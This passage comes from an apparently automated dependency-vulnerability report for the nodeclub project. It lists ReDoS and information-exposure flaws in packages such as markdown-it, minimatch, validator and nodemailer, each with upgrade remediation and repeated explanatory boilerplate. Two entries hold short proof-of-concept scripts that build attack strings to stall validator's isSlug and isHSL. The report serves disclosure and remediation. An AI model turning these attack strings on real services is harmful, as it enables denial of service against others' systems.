ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade lodash
to version 4.17.21 or higher.
References
medium severity
- Vulnerable module: markdown-it
- Introduced through: markdown-it@6.0.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › markdown-it@6.0.0Remediation: Upgrade to markdown-it@12.3.2.
Overview
markdown-it is a modern pluggable markdown parser.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the /s+$/
in line 23 of lib/rules_inline/newline.js
. This expression is used to remove trailing whitespaces from a string, however, it also matches non-trailing whitespaces.
In the worst-case scenario, the matching process would take computation time proportional to the square of the length of the non-trailing whitespaces. It is possible that a string containing more than tens of thousands characters, as markdown-it
handles Markdown
, would be passed over the network, resulting in significant computational time.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade markdown-it
to version 12.3.2 or higher.
References
medium severity
- Vulnerable module: markdown-it
- Introduced through: markdown-it@6.0.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › markdown-it@6.0.0Remediation: Upgrade to markdown-it@10.0.0.
Overview
markdown-it is a modern pluggable markdown parser.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). Parsing _*… takes quadratic time, this could be a denial of service vulnerability in an application that parses user input.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade markdown-it
to version 10.0.0 or higher.
References
medium severity
- Vulnerable module: minimatch
- Introduced through: pm2@1.1.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › yamljs@0.2.7 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to pm2@2.0.0.
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the braceExpand
function in minimatch.js
.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade minimatch
to version 3.0.5 or higher.
References
medium severity
- Vulnerable module: ms
- Introduced through: eventproxy@0.3.4
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › eventproxy@0.3.4 › debug@2.1.3 › ms@0.7.0Remediation: Upgrade to eventproxy@0.3.5.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › eventproxy@0.3.4 › debug@2.1.3 › ms@0.7.0Remediation: Upgrade to eventproxy@0.3.5.
Overview
ms is a tiny milisecond conversion utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS)
attack when converting a time period string (i.e. "2 days"
, "1h"
) into a milliseconds integer. A malicious user could pass extremely long strings to ms()
, causing the server to take a long time to process, subsequently blocking the event loop for that extended period.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ms
to version 0.7.1 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@2.3.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › nodemailer@2.3.0Remediation: Upgrade to nodemailer@6.9.9.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the attachDataUrls
parameter or when parsing attachments with an embedded file. An attacker can exploit this vulnerability by sending a specially crafted email that triggers inefficient regular expression evaluation, leading to excessive consumption of CPU resources.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade nodemailer
to version 6.9.9 or higher.
References
medium severity
- Vulnerable module: redis
- Introduced through: connect-redis@3.0.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › connect-redis@3.0.2 › redis@2.8.0Remediation: Upgrade to connect-redis@4.0.0.
Overview
redis is an A high performance Redis client.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). When a client is in monitoring mode, monitor_regex
, which is used to detected monitor messages` could cause exponential backtracking on some strings, leading to denial of service.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade redis
to version 3.1.1 or higher.
References
medium severity
- Vulnerable module: superagent
- Introduced through: superagent@1.8.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › superagent@1.8.2Remediation: Upgrade to superagent@3.8.1.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › superagent@1.8.2Remediation: Upgrade to superagent@3.8.1.
Overview
superagent is a Small progressive client-side HTTP request library, and Node.js module with the same API, supporting many high-level HTTP client features.
Affected versions of this package are vulnerable to Information Exposure due to sending the contents of Authorization to third parties.
Remediation
Upgrade superagent
to version 3.8.1 or higher.
References
medium severity
- Vulnerable module: uglify-js
- Introduced through: loader-builder@2.4.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › uglify-js@2.8.29Remediation: Upgrade to loader-builder@2.6.0.
Overview
uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template
and the decode_template
functions.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade uglify-js
to version 3.14.3 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: validator@5.1.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › validator@5.1.0Remediation: Upgrade to validator@13.6.0.
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug
function
PoC
var validator = require("validator")
function build_attack(n) {
var ret = "111"
for (var i = 0; i < n; i++) {
ret += "a"
}
return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isSlug(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade validator
to version 13.6.0 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: validator@5.1.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › validator@5.1.0Remediation: Upgrade to validator@13.6.0.
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL
function.
PoC
var validator = require("validator")
function build_attack(n) {
var ret = "hsla(0"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isHSL(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade validator
to version 13.6.0 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: validator@5.1.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › validator@5.1.0Remediation: Upgrade to validator@13.6.0.
Overview
